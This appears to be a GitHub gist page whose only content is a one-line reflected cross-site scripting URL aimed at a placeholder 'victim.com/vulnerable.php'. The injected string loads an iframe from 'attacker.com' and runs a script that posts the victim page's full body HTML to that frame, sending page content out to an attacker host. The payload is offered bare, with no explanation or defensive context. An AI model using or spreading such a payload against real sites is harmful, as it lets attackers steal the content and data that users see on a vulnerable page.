Skip to content

Instantly share code, notes, and snippets.

@ancat
Created June 3, 2012 05:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ancat/2862003 to your computer and use it in GitHub Desktop.
Save ancat/2862003 to your computer and use it in GitHub Desktop.
http://victim.com/vulnerable.php?string=<iframe src="http://attacker.com/" id="someframe"></iframe><script>document.getElementById('someframe').contentWindow.postMessage(document.body.innerHTML, '*')</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment